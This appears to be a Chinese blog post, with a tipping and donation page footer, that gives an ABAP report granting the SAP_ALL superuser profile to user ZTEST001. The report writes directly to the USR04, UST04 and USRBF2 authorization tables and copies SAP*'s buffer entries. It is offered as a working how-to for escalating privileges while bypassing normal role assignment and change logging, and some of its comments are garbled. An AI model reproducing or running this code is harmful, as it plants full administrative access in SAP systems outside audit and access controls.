程序方法添加SAP_ALL权限

REPORT ZTEST_001.

data zUSR04 like USR04 . “????????work area??
data zUST04 like UST04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
“USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = ‘ZTEST001′. “SAP All 权限
move ‘C SAP_ALL’ to zPROFS .
ZUSR04-NRPRO = ‘14′.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = ‘ZTEST001′.
zUST04-PROFILE = ‘SAP_ALL’. “SAP all 权限
Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = ’200′.
*ZUST04-BNAME = ’ZABC2′.
*ZUST04-PROFILE = ’SAP_ALL’.
*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2
where BNAME = ‘SAP*’ .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = ‘ZTEST001′.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
WRITE ’s’.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值